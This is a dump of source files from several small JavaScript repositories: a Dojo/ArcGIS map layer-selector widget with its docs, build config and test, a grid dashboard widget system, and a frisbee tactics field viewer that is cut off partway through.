[LayerSelectorItem.js:45-49](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelectorItem.js#L45-L49 "Source code on GitHub") **Parameters** - `checked` **[boolean](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Boolean)** `true` if the widgets input should be checked. **Properties** - `null-null` **[function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)** `_WidgetBase` custom setter for setting the checkbox on an input. **Examples** ```javascript this.set('selected', true); this.get('selected'); ``` ### hidden [LayerSelectorItem.js:59-62](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelectorItem.js#L59-L62 "Source code on GitHub") **Parameters** - `hide` **[boolean](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Boolean)** `true` if the widget should add a CSS class to hide itself. **Properties** - `null-null` **[function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)** `_WidgetBase` custom setter for setting the css class on the widget domNode. **Examples** ```javascript this.set('hidden', true); this.get('hidden'); ``` ### layerFactory [LayerSelectorItem.js:74-81](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelectorItem.js#L74-L81 "Source code on GitHub") **Parameters** - `layerFactory` **[layerFactory](#layerfactory)** The `layerFactory` to build the UI markup from. **Properties** - `null-null` **[function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)** `_WidgetBase` custom setter for setting the the alt text and label name. We do not always have the name at build rendering time (layer tokens). Therefore the templateString has been modified and the values are updated with this function. **Examples** ```javascript this.set('layerFactory', {}); this.get('layerFactory'); ``` ### inputType [LayerSelectorItem.js:91-100](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelectorItem.js#L91-L100 "Source code on GitHub") **Parameters** - `inputType` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)?** (optional, default `radio`) **Properties** - `null-null` **[function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)** `_WidgetBase` custom setter for applying the input type attribute. **Examples** ```javascript this.set('inputType', 'radio'); this.get('inputType'); ``` ### layerType [LayerSelectorItem.js:105-105](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelectorItem.js#L105-L105 "Source code on GitHub") **Properties** - `layerType-null` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** The type of `LayerSelectorItem`. `baselayer` (radio) or `overlayer` (checkbox). <file_sep>/docs/LayerSelector.md <!-- Generated by documentation.js. Update this documentation by updating the source code. --> ## applianceTokens [LayerSelector.js:1-714](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L1-L714 "Source code on GitHub") The happy path tokens for fast tracked basemap layers. Type: [string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String) **Properties** - `Terrain` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** Elevation with mountain peak elevations, contour lines, as well as many of the places of interest. - `Lite` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** Minimal base map with very muted in color to make your overlayed data stand out beautifully. - `Topo` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** USGS Quad Sheet. - `Imagery` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** Aerial Imagery. - `ColorIR` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** NAIP 2011 color infrared. - `Overlay` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** Roads and place names as a stand alone cache used to create our Hybrid cache. - `Hybrid` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** Automatic link of Imagery and Overlay. You must have `Overlay` present in `overlays` property - `AddressPoints` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** Styled address points. **Examples** ```javascript { baseLayers: [ 'Imagery', 'Hybrid', { token: 'Lite', selected: true }, 'Topo', 'Terrain', 'Color IR', 'Address Points' ], overlays: ['Overlay'] } ``` ## visibleLayers [LayerSelector.js:1-714](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L1-L714 "Source code on GitHub") The return value of the `visibleLayers` property. Type: [object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object) **Properties** - `widgets` **[Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;LayerSelectorItem>** The visible `LayerSelectorItems`. - `layers` **[Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;esri/layer>** The visible `esri/layer/*`. ## layerFactory [LayerSelector.js:1-714](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L1-L714 "Source code on GitHub") The info about a layer needed to create it and show it on a map and in the layer selector successfully. Type: [object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object) **Properties** - `Factory` **[function](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Statements/function)** the constructor function for creating a layer. - `urlTemplate` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** The url to the map service. - `id` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)** The id of the layer. This is shown in the LayerSelectorItem. - `tileInfo` **[object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object)** The `esri/TileInfo` object if the layer has custom levels. - `linked` **[Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)>** The id of overlays to automatically enable when selected. ## LayerSelector [LayerSelector.js:180-194](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L180-L194 "Source code on GitHub") A class for creating a layer selector that changes layers for a given map. **Parameters** - `params` {object} - `params.mapView` **esri/views/MapView** The map to control layer selection within. - `params.baseLayers` **([Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;[layerFactory](#layerfactory)> | [Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;[applianceTokens](#appliancetokens)>)** mutually exclusive layers (only one can be visible on your map). - `params.overlays` **([Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;[layerFactory](#layerfactory)> | [Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;[applianceTokens](#appliancetokens)>)?** layers you display over the `baseLayers`. - `params.quadWord` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)?** The four word authentication token acquired from the appliance. - `params.separator` **[string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String)?** An HTML fragment used to separate baselayers from overlays. (optional, default `<hrclass`) - `params.top` **[boolean](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Boolean)?** True if the widget should be placed in the top of the container. (optional, default `true`) - `params.right` **[boolean](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Boolean)?** True if the widget should be placed in the right of the container. (optional, default `true`) - `node` **([HTMLElement](https://developer.mozilla.org/docs/Web/HTML/Element) \| [string](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String))?** The domNode or string id of a domNode to create this widget on. If null a new div will be created but not placed in the dom. You will need to place it programmatically. ### visibleLayers [LayerSelector.js:63-98](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L63-L98 "Source code on GitHub") **Properties** - `visibleLayers` **[visibleLayers](#visiblelayers)** An object containting array's of visible `LayerSelectorItems` widgets and `esri/layer` layers that are currently visible in the map. **Examples** ```javascript this.get('visibleLayers'); ``` **Meta** - **since**: 0.2.0 ### baseLayerWidgets [LayerSelector.js:103-103](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L103-L103 "Source code on GitHub") **Properties** - `baseLayerWidgets` **[Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;LayerSelectorItem>** The constructed `LayerSelectorItem` widgets. ### overlayWidgets [LayerSelector.js:108-108](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L108-L108 "Source code on GitHub") **Properties** - `overlayWidgets` **[Array](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array)&lt;LayerSelectorItem>** The constructed `LayerSelectorItem` widgets. ## startup [LayerSelector.js:680-690](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L680-L690 "Source code on GitHub") We have overriden startup on `_WidgetBase` to call startup on all `LayerSelectorItem` child widgets. You should always call startup on this widget after it has been placed in the dom. ## destroy [LayerSelector.js:694-712](https://github.com/agrc-widgets/layer-selector/blob/60905e8cbc5c90dd5729871e35bf70e2bc547d94/LayerSelector.js#L694-L712 "Source code on GitHub") Remove layers from the map before destroying the widget. <file_sep>/main.js define([ './LayerSelector' ], function ( LayerSelector ) { return LayerSelector; }); <file_sep>/data/readme.md This file is hosted at mapserv.utah.gov/cdn/attribution. <file_sep>/README.md # Note: This repo has been replaced by https://github.com/agrc/kitchen-sink [![Build Status](https://travis-ci.com/agrc-widgets/layer-selector.svg)](https://travis-ci.com/agrc-widgets/layer-selector) ![layer-selector](/layer-selector.gif) ## Usage ``` npm install @agrc/layer-selector ``` - [ArcGISTiledMapServiceLayers](./tests/example-mapserv-basemaps.html) - [esri basemap](./tests/example-placement-over-esri-map.html) - [Happy path Web Mercator](./tests/example-happy-path-tokens.html) * _requires quad token auth_ - [Linked Overlays](./tests/example-linked-overlays.html) - [Custom LODS](./tests/example-custom-lods.html) [docs](http://agrc-widgets.github.io/layer-selector/) ## Development `grunt` - _Good for hot starts when your browser is already open_ 1. This will create a jasmine test page 1. Lint the code with eslint 1. Check for unused AMD dependencies 1. Create a server for the jasmine test page on `http://localhost:8001/tests/_specRunner.html` 1. Watch for changes and live reload. `grunt launch` - _Good for cold starts_ 1. Same as grunt except it will open your browser for you. `grunt docs` - _Generate docs for project_ 1. Creates the markdown docs for the project. `grunt doc-selector` - _Good for working on `LayerSelector` docs_ 1. Creates an html page 1. Sets up server at `http://localhost:8000/docs/` 1. Watches for changes and live reloads `grunt doc-selector-item` - _Good for working on `LayerSelectorItem` docs_ 1. Creates an html page 1. Sets up server at `http://localhost:8000/docs/` 1. Watches for changes and live reloads `grunt travis` - _Good for testing CI issues_ 1. Runs jasmine tests in Headless Chrome <file_sep>/layer-selector.profile.js /* eslint-disable no-unused-vars, no-undef */ var profile = { resourceTags: { amd: function (filename, mid) { return !this.copyOnly(filename, mid) && /\.js$/.test(filename); }, copyOnly: function (filename, mid) { return (/^layer-selector\/resources\//.test(mid) && !/\.css$/.test(filename)); } } }; <file_sep>/GruntFile.js module.exports = function (grunt) { require('load-grunt-tasks')(grunt); var defaultPort = 8001; var jasminePort = grunt.option('jasminePort') || defaultPort; var docPort = grunt.option('docPort') || jasminePort - 1; var testHost = 'http://localhost:' + jasminePort; var docHost = 'http:/localhost:' + docPort; var jsFiles = ['!node_modules', '!.git', '!.grunt', '*.js', 'tests/**/*.js']; var otherFiles = ['templates/*.html', 'tests/*.html', 'resources/*.svg']; var bumpFiles = [ 'package.json', 'package-lock.json' ]; grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), amdcheck: { main: { options: { removeUnusedDependencies: false }, files: [{ src: 'Layer*.js' }] } }, bump: { options: { files: bumpFiles, commitFiles: bumpFiles, push: false } }, connect: { options: { livereload: true, port: jasminePort, base: '.' }, docs: { options: { port: docPort, open: docHost + '/docs' } }, open: { options: { open: testHost + '/tests/_specRunner.html' } }, jasmine: { } }, documentation: { options: { destination: './docs' }, LayerSelector: { files: [{ src: 'LayerSelector.js' }], options: { github: true, format: 'md', filename: 'LayerSelector.md' } }, LayerSelectorItem: { files: [{ src: 'LayerSelectorItem.js' }], options: { github: true, format: 'md', filename: 'LayerSelectorItem.md' } }, LayerSelectorHtml: { files: [{ src: 'LayerSelector.js' }] }, LayerSelectorItemHtml: { files: [{ src: 'LayerSelectorItem.js' }] } }, eslint: { options: { configFile: '.eslintrc' }, main: { src: jsFiles } }, jasmine: { main: { src: [], options: { outfile: 'tests/_specRunner.html', specs: ['tests/**/Spec*.js'], vendor: [ 'node_modules/jasmine-favicon-reporter/vendor/favico.js', 'node_modules/jasmine-favicon-reporter/jasmine-favicon-reporter.js', '../tests/dojoConfig.js', 'node_modules/dojo/dojo.js', '../tests/jasmineAMDErrorChecking.js' ], host: testHost } } }, stylus: { main: { options: { compress: false }, files: [{ expand: true, cwd: './', src: ['resources/*.styl'], dest: './', ext: '.css' }] } }, watch: { options: { livereload: true }, amdcheck: { files: 'Layer*.js', tasks: ['amdcheck'] }, docs: { files: 'Layer*.js', tasks: ['documentation:LayerSelector', 'documentation:LayerSelectorItem'] }, docItem: { files: 'LayerSelectorItem.js', tasks: ['documentation:LayerSelectorItemHtml', 'documentation:LayerSelectorItem'] }, docSelector: { files: 'LayerSelector.js', tasks: ['documentation:LayerSelectorHtml', 'documentation:LayerSelector'] }, eslint: { files: jsFiles, tasks: ['newer:eslint:main', 'jasmine:main:build'] }, src: { files: jsFiles.concat(otherFiles) }, stylus: { files: 'resources/*.styl', tasks: ['stylus'] } } }); grunt.registerTask('default', [ 'jasmine:main:build', 'eslint:main', 'amdcheck:main', 'connect:jasmine', 'stylus', 'watch:src', 'watch:eslint', 'watch:stylus', 'watch:amdcheck' ]); grunt.registerTask('launch', [ 'jasmine:main:build', 'eslint:main', 'amdcheck:main', 'connect:open', 'stylus', 'watch:src', 'watch:eslint', 'watch:stylus', 'watch:amdcheck' ]); grunt.registerTask('docs', [ 'documentation:LayerSelector', 'documentation:LayerSelectorItem' ]); grunt.registerTask('doc-selector', [ 'documentation:LayerSelectorHtml', 'connect:docs', 'watch:docSelector' ]); grunt.registerTask('doc-selector-item', [ 'documentation:LayerSelectorItemHtml', 'connect:docs', 'watch:docItem' ]); grunt.registerTask('travis', [ 'eslint:main', 'connect:jasmine', 'jasmine' ]); }; <file_sep>/LayerSelectorItem.js define([ 'dijit/_TemplatedMixin', 'dijit/_WidgetBase', 'dojo/dom-attr', 'dojo/dom-class', 'dojo/on', 'dojo/text!./templates/LayerSelectorItem.html', 'dojo/_base/declare', 'dojo/_base/lang' ], function ( _TemplatedMixin, _WidgetBase, domAttr, domClass, on, template, declare, lang ) { return declare([_WidgetBase, _TemplatedMixin], { /** * @const * @private * @prop {string} templateString - The class' html `templateString`. */ templateString: template, /** * @const * @private * @default layer-selector-item * @prop {string} baseClass - The class' css `baseClass` name. */ baseClass: 'layer-selector-item', /** * @name selected * @memberof LayerSelectorItem * @prop {function} - `_WidgetBase` custom setter for setting the checkbox on an input. * @param {boolean} checked - `true` if the widgets input should be checked. * @example * this.set('selected', true); * this.get('selected'); */ _setSelectedAttr: { node: 'input', type: 'attribute', attribute: 'checked' }, /** * @name hidden * @memberof LayerSelectorItem * @prop {function} - `_WidgetBase` custom setter for setting the css class on the widget domNode. * @param {boolean} hide - `true` if the widget should add a CSS class to hide itself. * @example * this.set('hidden', true); * this.get('hidden'); */ _setHiddenAttr: function (hide) { this._set('hidden', hide); domClass.toggle(this.domNode, 'layer-selector-hidden'); }, /** * @name layerFactory * @memberof LayerSelectorItem * @prop {function} - `_WidgetBase` custom setter for setting the the alt text and label name. * We do not always have the name at build rendering time (layer tokens). Therefore the templateString * has been modified and the values are updated with this function. * @param {layerFactory} layerFactory - The `layerFactory` to build the UI markup from. * @example * this.set('layerFactory', {}); * this.get('layerFactory'); */ _setLayerFactoryAttr: function (layerFactory) { this.name = (layerFactory.id || layerFactory.name || 'unknown'); domAttr.set(this.label, 'alt', this.name); domAttr.set(this.label, 'title', this.name); domAttr.set(this.input, 'value', this.name); this.label.appendChild(document.createTextNode(this.name)); }, /** * @name inputType * @memberof LayerSelectorItem * @prop {function} - `_WidgetBase` custom setter for applying the input type attribute. * @param {string} [inputType=radio] * @example * this.set('inputType', 'radio'); * this.get('inputType'); */ _setInputTypeAttr: function (inputType) { var type = inputType || 'radio'; this.layerType = type === 'radio' ? 'baselayer' : 'overlayer'; domAttr.set(this.input, 'type', type); domAttr.set(this.input, 'name', this.layerType); domAttr.set(this.input, 'value', this.name); this._set('inputType', type); }, /** * @memberof LayerSelectorItem * @prop {string} layerType- The type of `LayerSelectorItem`. `baselayer` (radio) or `overlayer` (checkbox). */ layerType: null, /** * The UI element wrapping a radio or checkbox and label representing a `esri/layer/Layer` that can be turned * on and off in a map. * @name LayerSelectorItem * @param {HTMLElement|string} [node] - The domNode or string id of a domNode to create this widget on. If null * a new div will be created but not placed in the dom. You will need to place it programmatically. * @param {object} params * @param {layerFactory} params.layerFactory - The Factory object representing a layer. * @param {string} [params.inputType=radio] - `radio` or `checkbox` depending on the type of input. */ postCreate: function () { console.log('layer-selector-item::postCreate', arguments); domClass.add(this.domNode, ['radio', 'checkbox', 'layer-selector-input']); this._setupConnections(); this.inherited(arguments); }, /** * @private * wire events, and such */ _setupConnections: function () { console.log('layer-selector-item::setupConnections', arguments); this.watch('selected', lang.hitch(this, function changed() { on.emit(this.domNode, 'changed', this); })); this.own( on(this.input, 'click', lang.hitch(this, function changed(e) { this.set('selected', e.target.checked); })) ); } }); }); /** * The info about a layer needed to create it and show it on a map and in the layer selector successfully. * @typedef {object} layerFactory * @prop {function} Factory - the constructor function for creating a layer. * @prop {string} url - The url to the map service. * @prop {string} id - The id of the layer. This is shown in the LayerSelectorItem. * @prop {object} tileInfo - The `esri/TileInfo` object if the layer has custom levels. * @prop {string[]} linked - The id of overlays to automatically enable when selected. */ <file_sep>/tests/specs/Spec-LayerSelectorItem.js require([ 'layer-selector/LayerSelectorItem', 'dojo/dom-construct' ], function ( WidgetUnderTest, domConstruct ) { describe('layer-selector/layer-selector-item', function () { var widget; var destroy = function (item) { item.destroyRecursive(); item = null; }; beforeEach(function () { widget = new WidgetUnderTest(null, domConstruct.create('div', null, document.body)); widget.startup(); }); afterEach(function () { if (widget) { destroy(widget); } }); describe('Sanity', function () { it('should create a layer-selector-item', function () { expect(widget).toEqual(jasmine.any(WidgetUnderTest)); }); }); describe('_setupConnections', function () { it('should fire selected event', function () { var fired; widget.on('changed', function () { fired = true; }); widget.input.click(); expect(fired).toBe(true); }); }); }); }); <file_sep>/docs/Readme.md # documentation * [LayerSelector](./LayerSelector.md) * [LayerSelectorItem](./LayerSelectorItem.md)
449209c228b454daff9eb826a5de4b918696aaba
[ "Markdown", "JavaScript" ]
10
Markdown
agrc/layer-selector
05f7bec1c5d9205f0f87b05e4f61869b693c43ee
7b43dc6fa30ac3bed8f68bfbc64002c3f6a21be6
refs/heads/master
<file_sep>define(function () { return { update: function(root, data) { $(root).find('.title').html(data["title"]); $(root).find('.value').html(data["value"]); } }; });<file_sep>function widget(config, callback) { /** * Simple object check. * @param item * @returns {boolean} */ function isObject(item) { return (item && typeof item === 'object' && !Array.isArray(item)); } /** * Deep merge two objects. * @param target * @param ...sources */ function mergeDeep(target, ...sources) { if (!sources.length) return target; const source = sources.shift(); if (isObject(target) && isObject(source)) { for (const key in source) { if (isObject(source[key])) { if (!target[key]) Object.assign(target, { [key]: {} }); mergeDeep(target[key], source[key]); } else { Object.assign(target, { [key]: source[key] }); } } } return mergeDeep(target, ...sources); } var w = {}; w.id = '_' + Math.round(Math.random() * 0xFFFFFFFFFFFFFFFF).toString(16); var type = config.type; $.get("widgets/" + type + "/" + type + ".html", function (data) { w.ele = $(document.createElement("div")); w.ele.attr("id", w.id); w.ele.html($(data)); if (typeof config["theme"] !== "undefined") { $(w.ele).addClass(config.theme); } else { $(w.ele).addClass("theme"); } less.render('#'+ w.id + ' { @import "widgets/' + type + '/' + type + '.less"; }', {}, function(e, result) { $(w.ele).append("<style>" + result.css + "</style>"); requirejs(["../" + type + "/" + type], function(functions) { w.functions = functions; w.destroy = function() { if (typeof w.functions["teardown"] === "function") { w.functions.teardown($(w.ele)); } $(w.ele).remove(); } w.update = function(d) { if (typeof w.functions["update"] === "function") { var dt; if (typeof config["data"] === "undefined") { dt = d; } else { dt = mergeDeep(config["data"], d); } w.functions.update(w.ele, dt); } }; if (typeof w.functions["setup"] === "function") { w.functions.setup(w.ele); } w.update({}); if (typeof config["topic"] !== "undefined") { on(config.topic, w); } if (typeof callback === "function") { callback(w); } }); }); }); return w; } var subscriptions = {}; var shadow = {}; function on(topic, object) { if (typeof subscriptions[topic] === "undefined") { subscriptions[topic] = []; } if (subscriptions[topic].indexOf(object) < 0) { subscriptions[topic].push(object); console.log("subscribed", topic, object); if (typeof shadow[topic] !== "undefined") { console.log("shadow", topic, shadow[topic], object); object.update(shadow[topic]); } } } function event(topic, data) { shadow[topic] = data; if (typeof subscriptions[topic] !== "undefined") { subscriptions[topic].forEach(function(object){ console.log("event", topic, data, object); object.update(data); }); } } function unsubscribe(topic, object) { if (typeof subscriptions[topic] !== "undefined") { subscriptions[topic] = subscriptions[topic].filter(function(item) { return item !== object; }); if (subscriptions[topic].length == 0) { delete subscriptions[topic]; delete shadow[topic]; } } } event("dashboard", { "grid": { "cols": 4, "rows": 17, "gap": "2.0vh" }, "widgets": [ { "topic": "foo", "type": "small_value", "theme": "theme2", "container": { "x": 1, "y": 1, "w": 1, "h": 1 }, "data": { "title": "Foo", "value": "?" } }, { "topic": "foo", "type": "small_value", "theme": "theme2", "container": { "x": 2, "y": 1, "w": 1, "h": 1 }, "data": { "title": "Foo", "value": "?" } }, { "topic": "foo", "type": "small_value", "theme": "theme2", "container": { "x": 3, "y": 1, "w": 1, "h": 1 }, "data": { "title": "Foo", "value": "?" } }, { "topic": "foo", "type": "small_value", "theme": "theme2", "container": { "x": 4, "y": 1, "w": 1, "h": 1 }, "data": { "title": "Foo", "value": "?" } }, { "topic": "foo", "type": "value", "theme": "theme1", "container": { "x": 1, "y": 2, "w": 1, "h": 8 }, "data": { "title": "Foo", "value": "?" } }, { "topic": "weather", "type": "value", "theme": "theme2", "container": { "x": 2, "y": 2, "w": 2, "h": 8 }, "data": { "title": "Weather", "value": "1ºC", "comment": "rain" } }, { "type": "value", "theme": "theme3", "container": { "x": 3, "y": 10, "w": 1, "h": 8 }, "data": { "title": "Weather", "value": "5ºC", "comment": "rain" } }, { "type": "rotate", "theme": "theme4", "container": { "x": 1, "y": 10, "w": 2, "h": 8 }, "data": { "widgets": [ { "topic": "weather", "type": "value", "container": { "time": 2000 }, "data": { "title": "AWeather", "value": "3ºC", "comment": "rain" } }, { "topic": "weather", "type": "value", "container": { "time": 2000 }, "data": { "title": "BWeather", "value": "6ºC", "comment": "cloudy" } } ] } }, { "type": "value", "topic": "weather", "theme": "theme1", "container": { "x": 4, "y": 2, "w": 1, "h": 16 }, "data": { "title": "Weather", "value": "4ºC", "comment": "rain" } } ] }); setInterval(function() { event("weather", { value: Math.round(Math.random()*200.0)/10.0, comment: "rain" }) }, 5000); setInterval(function() { event("foo", { value: Math.round(Math.random()*100) }) }, 10000); widget({ "topic": "dashboard", "type": "grid", "theme": "black" }, function(w) { $('#root').append(w.ele); }); <file_sep>define(function () { function rotate(root) { if (typeof root === "undefined") { return; } if (typeof root["data"] === "undefined") { return; } if (typeof root["data"]["widgets"] === "undefined") { return; } root.rotate_index++; if (root.rotate_index >= root.data.widgets.length) { root.rotate_index = 0; } var item = root.data.widgets[root.rotate_index]; if (typeof item === "undefined") { return; } var previous = root.current; widget(item, function(w) { $(w.ele).css("grid-column-start", "1"); $(w.ele).css("grid-row-start", "1"); if (typeof previous === "undefined") { $(root).append(w.ele); } else { $(previous.ele).replaceWith(w.ele); previous.destroy(); } root.current = w; root.timeout = setTimeout(function() { rotate(root); }, item.container.time); }); } function start(root) { rotate(root); } function stop(root) { if (typeof root["timeout"] !== "undefined") { clearTimeout(root.timeout); } } return { setup: function(root) { }, update: function(root, data) { root.rotate_index = -1; root.data = data; start(root); }, teardown: function(root) { stop(root); } }; });<file_sep>define(function () { function destroy_all_the_things(root) { if (typeof root["grid_objects"] !== "undefined") { root.grid_objects.forEach(function(object) { object.destroy(); }); } root.grid_objects = []; } return { setup: function(root) { root.grid_objects = []; }, update: function(root, data) { if (typeof data === "undefined") return; if (typeof data["widgets"] === "undefined") return; destroy_all_the_things(root); if (typeof data["grid"] !== "undefined") { $(root).css("grid-template-columns", "repeat(" + data.grid.cols + ", 1fr)"); $(root).css("grid-template-rows", "repeat(" + data.grid.rows + ", 1fr)"); $(root).css("grid-column-gap", data.grid.gap.toString()); $(root).css("grid-row-gap", data.grid.gap.toString()); } data.widgets.forEach(function(element) { widget(element, function(w) { root.grid_objects.push(w); $(w.ele).css("grid-column-start", element.container.x.toString()); $(w.ele).css("grid-row-start", element.container.y.toString()); $(w.ele).css("grid-column-end", "span " + element.container.w.toString()); $(w.ele).css("grid-row-end", "span " + element.container.h.toString()); $(root).append(w.ele); }); }); }, teardown: function(root) { destroy_all_the_things(root); } }; });
a51aa9323a9caaf8889ef6453085347e9c64c3c8
[ "JavaScript" ]
4
JavaScript
tader/slashing
a36f31d770c351c2e295762dbb4045b765ebafb8
deed3a01809ee0027abd2da9ba36fa6975fc517f
refs/heads/master
<file_sep>(function() { 'use strict'; var Data = this.Data = {}; Data.tactics = {}; Data.tactic = { 'type': null, 'play': null, 'scenario': null, 'kf': null, }; Data.get_type_for_play = function(play) { for (var i in this.tactics) { for (var j in this.tactics[j]) { if (j === play) { return i; } } } return false; } Data.get_data = function(name, type, play, scenario, kf) { var ptr = null; // pointer; if (type === undefined) { type = this.tactic['type']; } ptr = this.tactics[type]; if (name === 'type') { return ptr; } if (play === undefined) { play = this.tactic['play']; } else if (type === null) { type = this.get_type_for_play(play); } ptr = ptr[play]; if (name == 'play') { return ptr; } if (scenario === undefined) { scenario = this.tactic['scenario']; } ptr = ptr['scenarios'][scenario]; if (name == 'scenario') { return ptr; } if (kf === undefined) { kf = this.tactic['kf']; } ptr = ptr['kfs'][kf]; if (name == 'kf') { return ptr; } throw "Wrong parameters"; } Data.install_data = function(data) { var tactics = Data.tactics; var current = Data.tactic; for (var i=0;i<data['plays'].length;i++) { var p = data['plays'][i]; if (!tactics[p['type']]) { tactics[p['type']] = {}; } if (current['type'] === null) { current['type'] = p['type']; } tactics[p['type']][p['id']] = p; } for (var i in tactics) { var a = $("<a/>").attr('href', '#').text(" -- " + i + " -- "); var li = $("<li/>").append(a).addClass('disabled'); li.appendTo(UI.nodes.plays); for (var j in tactics[i]) { if (current['play'] === null) { current['play'] = j; } var a = $("<a/>").attr('href', '#') .html("&nbsp;&nbsp;" + tactics[i][j].name) .on('click', UI.onplaychange); var li = $("<li/>").attr('data-value', j).append(a); li.appendTo(UI.nodes.plays); } } Data.set_play(); Field.position_players(Data.get_data('kf')); } Data.load_plays = function(callback) { $.getJSON( './4hands.json', function(data) { Data.install_data(data); callback(); } ); } Data.set_play = function(play) { if (play !== undefined) { Data.tactic.play = play; } var scenarios = Data.get_data('play')['scenarios']; for (var i in scenarios) { Data.tactic.scenario = i; break; } Data.tactic.kf = scenarios[i]['default']; } Data.set_scenario = function(scenario) { if (scenario !== undefined) { Data.tactic.scenario = scenario; } Data.tactic.kf = Data.get_data('scenario')['default']; console.log(Data.tactic); } Data.set_kf = function(kf) { if (kf !== undefined) { Data.tactic.kf = kf; } } }).call(this); <file_sep>(function() { 'use strict'; var Field = this.Field = {}; Field.settings = { 'orientation': 'horizontal', 'width': 100, 'height': 37, 'zone': 18, 'scale': 6, 'circle': { 'radius': 20, }, 'vision': false, } Field.setupField = function() { var st = this.settings; var orient = st['orientation']; var scale = st['scale']; var width = st['width']*scale; var height = st['height']*scale; if (orient == 'vertical') { $(".field") .removeClass('vertical') .removeClass('horizontal') .addClass(orient) .css({'width': height, 'height': width}); $(".zone").css({ 'height': st['zone']*scale, 'width': '100%' }); } else { $(".field") .removeClass('vertical') .removeClass('horizontal') .addClass(orient) .css({'width': width, 'height': height}); $('svg').css({'width': width, 'height': height}); $(".zone").css({ 'width': st['zone']*scale, 'height': '100%' }); } $(".field").show(); } Field.calculate_pos = function(pos, rotate) { if (pos['pos']) { pos = pos['pos']; } var st = this.settings; var scale = st['scale']; var cr = st['circle']['radius']; var orient = st['orientation']; var rotate = 0; var p = [0,1]; var width = st['width']*scale; var height = st['height']*scale; var left = 'left'; var right = 'right'; if (orient == 'vertical') { rotate = 90; p = [1,0]; width = height; height = st['width']*scale; left = 'right'; right = 'left'; } var obj = {} obj['top'] = height*(pos[p[0]]/100)-(cr/2); obj[left] = width*(pos[p[1]]/100)-(cr/2); obj[right] = 'auto'; return obj; } Field.position_players = function(play, preserve) { if (!preserve) { $(".field .player").remove(); $("#legend table tr.player").remove(); } if (!play) { play = Data.get_data('kf'); } var tableHome = $("#legend .home table"); for (var i=0;i<play['home'].length;i++) { if (!preserve) { $("<div/>") .text(i+1) .addClass('player') .addClass('player'+(i+1)) .addClass('home') .css(Field.calculate_pos(play['home'][i])) .on('mouseover', function() { Field.focus_player('home', $(this).text()) }) .on('mouseout', function() { Field.unfocus_players('home'); }) .appendTo($(".field")); var tr = 